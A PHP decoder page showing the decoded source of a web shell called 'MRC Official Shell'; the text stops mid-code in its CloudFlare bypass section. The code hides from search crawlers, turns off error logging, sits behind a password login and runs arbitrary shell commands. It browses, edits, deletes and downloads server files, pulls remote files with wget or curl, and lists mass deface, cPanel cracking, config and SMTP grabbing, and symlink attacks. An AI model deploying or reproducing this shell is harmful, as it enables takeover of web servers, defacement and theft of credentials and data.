Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* ########################################### ## MRC Official Shell ..
Decoded Output download
session_start();
error_reporting(0);
@set_magic_quotes_runtime(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$default_charset = 'UTF-8';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
function mrc_login() {
?>
<html>
<head>
<title>MRC Official Shell - Login</title>
<meta name="author" content="M1ST3R C0NN3CT3D">
<meta name="description" content="M1ST3R C0NN3CT3D Shell Private">
<font face="Comic Sans MS">
<style type="text/css">
html {
background: #333030; no-repeat center center fixed;
-webkit-background-size: cover;
-moz-background-size: cover;
-o-background-size: cover;
background-size: cover;
}
html,body{margin:0;padding:0;height:100%;font:13px Arial;}
#wrapper{min-height:100%;position:relative;}
#header{background:#f0f0f0;padding:5px;height:50px;color:#3000ff;}
#body{padding-bottom:40px;padding-left:10px;}
#footer{background:dimgray;position:absolute;bottom:0;width:100%;
text-align:center;color:cyan;}
header {
color: green;
margin: 10px auto;
}
fieldset {
width: 250px;
height: 102px;
background: #333030;
/*padding:4px 20px;*/
margin:0;
color:#F1515C;
letter-spacing:1px;
border: 1px solid #F1515C;/*box-shadow: 0px 0px 15px cyan;*/
text-decoration: none;
}
body{cursor: default, progress !important;}
input[type=password] {
width: 250px;
height: 25px;
color: #F1515C;
background: #333030;
border: 1px solid #F1515C;
padding: 5px;
/*margin-left: 15px;*/
text-align: center;
}
input[type=text] {
width: 250px;
height: 25px;
color: #F1515C;
background: #333030;
border: 1px solid #F1515C;
padding: 5px;
/*margin-left: 15px;*/
text-align: center;
}
input[type=submit] {
border: 1px solid #F1515C;
color: #F1515C;
background: transparent;
width: 250px;
height: 25px;
/*margin-left: 15px;*/
}
input[type=submit]:hover {
color: #333030;
background: #F1515C;
cursor: pointer;
}
</style>
</head>
<center><br>
<header>
<pre>
</pre>
</header>
<br><br></b><br><br><br><br><br><br>
<b>
<H1><center><font color="white"></></font> <font color="#F1515C">./MRC0NN3CT3D</font> <font color="white">Official Shell</font></center></h1>
<fieldset>
<form method="post">
<input type="text" name="id" readonly value="whoami">
</form>
<form method="post">
<input type="password" name="pass" placeholder="Password"> <br><br>
<input type="submit" value="Login">
</fieldset>
</form><br><br>
<?php
echo "<font color=white></> Copyright © ".date('Y')."<font> <font color=#F1515C>M1ST3R C0NN3CT3D</font> - Xai Syndicate<br></p>";
?>
<style>
</style>
</head>
<body>
</body>
</head>
<table border="0" cellspacing="1" cellpadding="4" class="tborder"><tr><td class="thead"><strong></strong></td></tr><tr><td class="trow1"></a></td></tr></table><br />
<table border="0" cellspacing="1" cellpadding="4" class="tborder">
<tbody><tr>
<?php
exit;
}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
mrc_login();
if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['mrc'] == 'download')) {
@ob_clean();
$file = $_GET['file'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
set_time_limit(0);
$software = getenv("SERVER_SOFTWARE");
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$url = $_POST['hash_lol'];
$mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=#F1515C>OFF</font>";
$curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=#F1515C>OFF</font>";
$wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=#F1515C>OFF</font>";
$perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=#F1515C>OFF</font>";
$python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=#F1515C>OFF</font>";
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=#F1515C>ON</font>" : "<font color=#F1515C>OFF</font>";
$freespace = hdd(disk_free_space("/"));
$total = hdd(disk_total_space("/"));
$used = $total - $freespace;
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
?>
<!doctype html>
<html>
<head>
<title>MRC Official Shell</title>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<script type="text/javascript">
$(document).ready(function(){
$('body').fadeIn(2000);
});
</script>
<style>
@font-face {
font-family: 'Comic Sans MS';
font-style: normal;
font-weight: 400;
src: local('Comic Sans MS'), local('ComicSansMS'), url(http://fonts.gstatic.com/l/font?kit=3oir0CAJ0QJ5h5-A3AP8rRSrmRvs-bRaaQbSAUyiv7A&skey=a4ba60ff9fc73cf8&v=v8) format('truetype');
}
body {
background: #333030;line-height: 1;color: white;font-family: 'Comic Sans MS' ;display:none;
}
table, th, td {
border-collapse:collapse;
background: transparent;
font-family: 'Comic Sans MS' ;
font-size: 13px;
}
input, textarea { font-family: 'Comic Sans MS' ; }
.table_home, .th_home, .td_home { color:white;
border: 1px solid #F1515C;
}
th {
padding: 10px;
}
.td_home { padding: 7px; }
select {font-family: 'Comic Sans MS' }
a {color:white; text-decoration: none;}
a:hover {color:#F1515C;}
textarea {
border: 1px solid #F1515C;
width: 100%;
height: 400px;
margin: 10px auto;
resize: none;
background: transparent;
color: #F1515C;
font-family: 'Comic Sans MS';
font-size: 16px;
}
input[type=submit] {
border: 1px solid #F1515C;
color: #F1515C;
background: #333030;
width: 250px;
cursor: pointer;
}
input[type=submit]:hover {
color: #333030;
background: #F1515C;
}
input[type=text] {
font-family: 'Comic Sans MS';
width: 250px;
height: 15px;
color: #F1515C;
background: transparent;
border: 1px solid #F1515C;
padding: 5px;
text-align: center;
}
input[type="file"] {
border: 1px solid #F1515C;
color: #F1515C;
background: #333030;
width: 250px;
cursor: pointer;
}
.dropbtn {
font-family: 'Comic Sans MS';
background-color: transparent;
color: #F1515C;
width: 250px;
height: 40px;
font-size: 15px;
border: 1px solid #F1515C;
cursor: pointer;
}
.dropdown {
position: relative;
display: inline-block;
}
.dropdown-content {
font-family: 'Comic Sans MS';
display: none;
position: absolute;
background-color: #333030;
min-width: 250px;
box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
z-index: 1;
}
.dropdown-content a {
color: #F1515C;
padding: 12px 16px;
text-decoration: none;
display: block;
}
.dropdown-content a:hover {background-color: #F1515C; color: #333030;}
.dropdown:hover .dropdown-content {
display: block;
}
.dropdown:hover .dropbtn {
background-color: #F1515C;
color:#333030;
}
.tabnet{
margin:15px auto 0 auto;
border: 1px solid #F1515C;
color: #F1515C;
}
.tamvan{
background:#333030;
border:0;
padding:2px;
border-bottom:1px solid #F1515C;
border-top:1px solid #F1515C;
}
.awesome{
background:#333030;
color:#F1515C;
margin:0 4px;
border:1px solid #F1515C;
}
select {
background: #333030;
color: #F1515C;
}
.icut {
position: relative;
display: inline-block;
}
.sayang {
font-family: 'Comic Sans MS';
background-color: transparent;
color: #F1515C;
width: 100px;
height: 40px;
font-size: 15px;
border: 1px solid #F1515C;
cursor: pointer;
}
.icut:hover .sayang {
background-color: #F1515C;
color:#333030;
}
::-webkit-scrollbar {height:8px;background: #333030;}
::-webkit-scrollbar-thumb {background-color: #333030;border:3px solid #F1515C;}
::-webkit-scrollbar-thumb:hover{background: lime;}
::-webkit-scrollbar-thumb:active{background: lime;}
</style>
<?php
echo '</head>
<body>
<b>
<H1><center> </> <font color="#F1515C">./MRC0NN3CT3D</font> Official Shell</center></h1></b>
<center>
<div class="icut"><a href="?"><button class="sayang">Home</button></a></div>
<div class="dropdown">
<button class="dropbtn">Menu List</button>
<div class="dropdown-content">
<a href="?option=$path&mrc=upload">Upload</a>
<a href="?option=$path&mrc=hash">Hash Password</a>
<a href="?option=$path&mrc=jenishash">Hash Identification</a>
<a href="?option=$path&mrc=ende">Encode & Decode</a>
<a href="?option=$path&mrc=cukup1klik">Auto Deface</a>
<a href="?option=$path&mrc=mass_deface">Mass Deface</a>
<a href="?option=$path&mrc=mass_delete">Mass Delete</a>
<a href="?option=$path&mrc=admf">Admin Finder</a>
<a href="?option=$path&mrc=network">Network</a>
<a href="?option=$path&mrc=config">Config</a>
<a href="?option=$path&mrc=cpanel">Cpanel Crack</a>
<a href="?option=$path&mrc=cf-bypass">Bypass CloudFlare</a>
<a href="?option=$path&mrc=cmd">Command</a>
<a href="?option=$path&mrc=jumping">Jumping</a>
<a href="?option=$path&mrc=symlink">Symlink</a>
<a href="?option=$path&mrc=whois">Whois</a>
<a href="?option=$path&mrc=cpftp_auto">Cpanel / Ftp Auto Deface</a>
<a href="?option=$path&mrc=smtp">SMPT Grabber</a>
<a href="?option=$path&mrc=shellscanner">Shell Scanner</a>
<a href="?option=$path&mrc=fake_root">Fake Root</a>
<a href="?option=$path&mrc=csrf">CSRF Exploiter Online</a>
<a href="?option=$path&mrc=about">Shell Info</a>
<a href="?kill=yes" onclick="kill()">Remove My Self</a>
</div>
</div>
<div class="icut"><a href="?logout=true" onclick="logout()"><button class="sayang">Logout</button></a></div>
</center>
<br>
<center>Server IP: <font color=#F1515C>'.$ip.'</font> | Your IP: <font color=#F1515C>'.$_SERVER['REMOTE_ADDR'].'</font><br>
MySQL: '.$mysql.' | Perl: '.$perl.' | Python: '.$python.' | WGET: '.$wget.' | CURL: '.$curl.'<br>
HDD: <font color=lime>'.$used.'</font> / <font color=lime>'.$total.'</font> ( Free: <font color=lime>'.$freespace.'</font> )<br>
User: <font color=lime>'.$user.'</font> ('.$uid.') Group: <font color=lime>'.$group.'</font> ('.$gid.')<br>
Safe Mode: '.$sm.'</center>
<br>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<center>System OS: <font color="lime">'.php_uname().'</font></font><br>
Software: <font color=lime>'.$software.'</font></center><br><br>';
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function getsource($url) {
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
$content = curl_exec($curl);
curl_close($curl);
return $content;
}
function w($path,$perm) {
if(!is_writable($path)) {
return "<font color=#F1515C>".$perm."</font>";
} else {
return "<font color=lime>".$perm."</font>";
}
}
function r($path,$perm) {
if(!is_readable($path)) {
return "<font color=#F1515C>".$perm."</font>";
} else {
return "<font color=lime>".$perm."</font>";
}
}
function ambilKata($param, $kata1, $kata2){
if(strpos($param, $kata1) === FALSE) return FALSE;
if(strpos($param, $kata2) === FALSE) return FALSE;
$start = strpos($param, $kata1) + strlen($kata1);
$end = strpos($param, $kata2, $start);
$return = substr($param, $start, $end - $start);
return $return;
}
function reverse($url) {
$ch = curl_init("http://domains.yougetsignal.com/domains.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
$resp = curl_exec($ch);
$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
$array = explode(",,", $resp);
unset($array[0]);
foreach($array as $lnk) {
$lnk = "http://$lnk";
$lnk = str_replace(",", "", $lnk);
echo $lnk."
";
ob_flush();
flush();
}
curl_close($ch);
}
if(get_magic_quotes_gpc()) {
function idx_ss($array) {
return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
}
$_POST = idx_ss($_POST);
$_COOKIE = idx_ss($_COOKIE);
}
function exe($cmd) {
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
function hdd($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
function rapih($text){
return trim(str_replace("<br />","",$text));
}
function magicboom($text){
if (!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function which($pr){
$path = exe("which $pr");
if(!empty($path)) { return trim($path); } else { return trim($pr); }
}
function ambil($link,$file) {
if($fp = @fopen($link,"r")){
while(!feof($fp)) {
$cont.= @fread($fp,1024);
}
@fclose($fp);
$fp2 = @fopen($file,"w");
@fwrite($fp2,$cont);
@fclose($fp2);
}
}
function download($cmd,$url){
$namafile = basename($url);
switch($cmd) {
case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
case 'wfread' : ambil($wurl,$namafile);break;
case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
default: break;
}
return $namafile;
}
function clearspace($text){
return str_replace(" ","_",$text);
}
function bing($dork) {
$npage = 1;
$npages = 30000;
$allLinks = array();
$lll = array();
while($npage <= $npages) {
$x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
if($x) {
preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
$npage = $npage + 10;
if (preg_match("(first=" . $npage . "&)siU", $x, $linksuiv) == 0) break;
} else break;
}
$URLs = array();
foreach($allLinks as $url){
$exp = explode("/", $url);
$URLs[] = $exp[2];
}
$array = array_filter($URLs);
$array = array_unique($array);
$sss = count(array_unique($array));
foreach($array as $domain) {
echo $domain."
";
}
}
if(isset($_GET['y'])){
if(@is_dir($_GET['view'])){
$pwd = $_GET['view'];
@chdir($pwd);
}
else{
$pwd = $_GET['y'];
@chdir($pwd);
}
}
if(isset($_GET['path'])){
$path = $_GET['path'];
chdir($path);
}else{
$path =
getcwd();
}
if(isset($_GET['dir'])) {
$dir = $_GET['dir'];
chdir($dir);
} else {
$dir = getcwd();
}
if(!$win){
if(!$user = rapih(exe("whoami"))) $user = "";
if(!$id = rapih(exe("id"))) $id = "";
$prompt = $user." \$ ";
$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
$user = @get_current_user();
$id = $user;
$prompt = $user." >";
$pwd = realpath(".")."\";
// find drive letters
$v = explode("\",$d);
$v = $v[0];
foreach (range("A","Z") as $letter)
{
$bool = @is_dir($letter.":\");
if ($bool)
{
$letters .= "<a href=\"?y=".$letter.":\">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
$letters .= " ]</a> ";
}
}
}
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
$pathz = "";
for($j = 0 ; $j <= $i ; $j++){
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
$path = str_replace('\','/',$path);
$paths = explode('/',$path);
$dir = str_replace("\","/",$dir);
$scdir = explode("/", $dir);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<font color=#fff><center>Current File : <a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
if(isset($_GET['filesrc'])){
echo "<tr><td><center>Current File : ";
echo $_GET['filesrc'];
echo '</center></tr></td></table><br />';
echo(' <textarea style="width: 100%;height: 400px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
}
//Empety
elseif(isset($_GET['option']) && $_GET['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
//Chmod
if($_GET['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="lime">Change Permission Done </font><br />';
}else{
echo '<font color="#F1515C">Change Permission Error </font><br />';
}
}
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($patc)), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Done" />
</form>';
}
//
elseif($_GET['opt'] == 'btw'){
$cwd = getcwd();
echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
New Name : <input name="name" type="text" size="20" value="Folder" />
<input type="hidden" name="path" value="'.$cwd.'">
<input type="hidden" name="opt" value="delete">
<input type="submit" value="Done" />
</form>';
}
//Rename file
elseif($_GET['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="lime">Change Name Done </font><br />';
}else{
echo '<font color="#F1515C">Change Name Error </font><br />';
}
$_POST['name'] = $_POST['newname'];
}
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
$new = $_POST['newname'];
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$new.'" />
<input type="hidden" name="path" value="'.$patc.'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Done" />
</form>';
}
//File baru
elseif($_GET['opt'] == 'baru'){
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
$new = $_POST['newname'];
$azz = $_POST['path'];
$newz = "$azz/$new";
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="lime">Create File Done [ '.$new.' ]</font><br />';
}else{
echo '<font color="#F1515C">Create File Error</font><br />';
}
fclose($fp);
}
echo '<form method="POST"> Name : <input name="ngaran1" type="text" size="20" value="'.$new.'" /><input type="submit" name="ngaran" value="Create"/></form><br> ';
$ho = $_POST['ngaran1'];
if(isset($_POST['ngaran'])){
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
<input type="hidden" name="path" value="'.$hell.'/'.$ho.'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Done" />
</form>';
}
}
//Edited file
elseif($_GET['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="lime">Edit File Done </font><br />';
}else{
echo '<font color="#F1515C">Edit File Error </font><br />';
}
fclose($fp);
}
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
<input type="hidden" name="path" value="'.$patc.'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Done" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
//Delete dir and file
if(isset($_GET['option']) && $_GET['opt'] == 'delete'){
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
//Delete dir
if($_GET['type'] == 'dir'){
if(rmdir($patc)){
echo '<font color="lime">Delete File Done</font><br />';
}else{
echo '<font color="#F1515C">Delete File Error </font><br />';
}
}
//buat folder
if($_GET['type'] == 'buat'){
$haaa = $_POST['path'];
$heee = $_POST['name'];
$hooo = "$haaa/$heee";
$new = $haaa.'/'.htmlspecialchars($heee);
if(!mkdir($new)){
echo '<font color="#F1515C">Create Folder Error</font><br />';
}else{
echo '<font color="lime">Create Folder Done </font><br />';
}
}
//Delete file
elseif($_GET['type'] == 'file'){
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
if(unlink($patc)){
echo '<font color="lime">Delete File Done</font><br />';
}else{
echo '<font color="#F1515C">Delete File Error </font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
$pa = getcwd();
echo ' <table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<th class=th_home style="background:transparent;color:#F1515C;"><center>Name</center></th>
<th class=th_home style="background:transparent;color:#F1515C;" ><center>Type</center></th>
<th class=th_home style="background:transparent;color:#F1515C;" ><center>Size</center></th>
<th class=th_home style="background:transparent;color:#F1515C;" ><center>Last Modified</center></th>
<th class=th_home style="background:transparent;color:#F1515C;" ><center>Permission</center></th>
<th class=th_home style="background:transparent;color:#F1515C;" ><center>Actions</center></th>
</tr> <tr>
<td class=td_home><a href="?path='.dirname($path).'">...</a></td><td class=td_home align=center>-</td><td class=td_home align=center>-</td><td class=td_home align=center>-</td> <td class=td_home align=center>-</td> <td class=td_home align=center> <a href="?option&path='.$pa.'&opt=baru&name=new.php">+ New File</a> | <a href="?option&path='.$pa.'&opt=btw&type=dir">+ New Dir</a> </td></tr>';
foreach($scandir as $dir){
$dtype = filetype("$path/$dir");
$dtime = date("F d Y - g:i:s", filemtime("$path/$dir"));
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "
<tr>
<td class=td_home> <img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?path=$path/$dir\">".$dir."</a></td>
<td class='td_home'><center>".$dtype."</center></td>
<td class='td_home'><center>-</center></th></td>
<td class='td_home'><center>".$dtime."</center></td>
<td class=td_home ><center>";
if(is_writable("$path/$dir")) echo '<font color="lime">';
elseif(!is_readable("$path/$dir")) echo '<font color="#F1515C">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
echo "
<td class=td_home ><center>
<a href=\"?option&path=$path&opt=rename&type=dir&name=$dir\">Rename</a> | <a href=\"?option&path=$path&opt=delete&type=dir&name=$dir\">Delete</a> | <a href=\"?option&path=$path&opt=chmod&type=dir&name=$dir\">Chmod</a>
</center></td>
</tr>";
}
echo '<br>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$ftype = filetype("$path/$file");
$ftime = date("F d Y - g:i:s", filemtime("$path/$file"));
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo "<tr>
<td class=td_home > <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td class='td_home'><center>".$ftype."</center></td>
<td class=td_home><center>".$size."</center></td>
<td class='td_home'><center>".$ftime."</center></td>
<td class=td_home><center>";
if(is_writable("$path/$file")) echo '<font color="lime">';
elseif(!is_readable("$path/$file")) echo '<font color="#F1515C">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "
<td class=td_home><center>
<a href=\"?option&path=$path&opt=edit&type=file&name=$file\">Edit</a> | <a href=\"?option&path=$path&opt=rename&type=file&name=$file&path=$path\">Rename</a> | <a href=\"?option&path=$path&opt=delete&type=file&name=$file\">Delete</a> | <a href=\"?option&path=$path&opt=chmod&type=file&name=$file\">Chmod</a> | <a href='?mrc=download&path=$path&file=$path/$file'>Download</a>
</center></td>
</tr>";
}
echo '</table>
</div>';
if(!is_readable($path)) {
//
} else {
}
}
//LOGOUT
if($_GET['logout'] == true) {
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo "<script>window.location='?';</script>";
}
//Kill My Self
if($_GET['kill'] == yes) {
unlink(__FILE__);
echo "<script>window.location='/';</script>";
}
//ABOUT
if($_GET['mrc'] == 'about') {
?>
<br><table class="tabnet">
<tr><td>
<font color="white">Author:</font> <a href="http://www.facebook.com/mrcoffcial.id">M1ST3R C0NN3CT3D</a>
<hr color="#F1515C" size="1px">
<font color="white">Version:</font> <b><font color="lime">1.4</font></b>
<br><hr color="#F1515C" size="1px">
<font color="white">New feature:</font><font color="lime"><marquee direction="left" scrollamount="5" height="15" width="200">Upload from URL, Password Hasher, Hash Identification, Encode & Decode Tools, Bypass CloudFlare</font></marquee>
</td></tr></table>
<?php
}
//BYPASS CLOUDFLARE
if($_GET['mrc'] == 'cf-bypass') {
echo '
<form method="POST"><br><br>
<center><p align="center" dir="ltr"><b><font size="5">Bypass
<font color="lime">CloudFlare</font></font></b></p>
<select class="tamvan" name="krz">
<option>ftp</option>
<option>direct-conntect</option>
<option>webmail</option>
<option>cpanel</option>
</select>
<input class="tamvan" type="text" name="target" value="url">
<input class="awesome" type="submit" value="Bypass"></center>
';
$target = $_POST['target'];
# Bypass From FTP
if($_POST['krz'] == "ftp") {
$ftp = gethostbyname("ftp."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
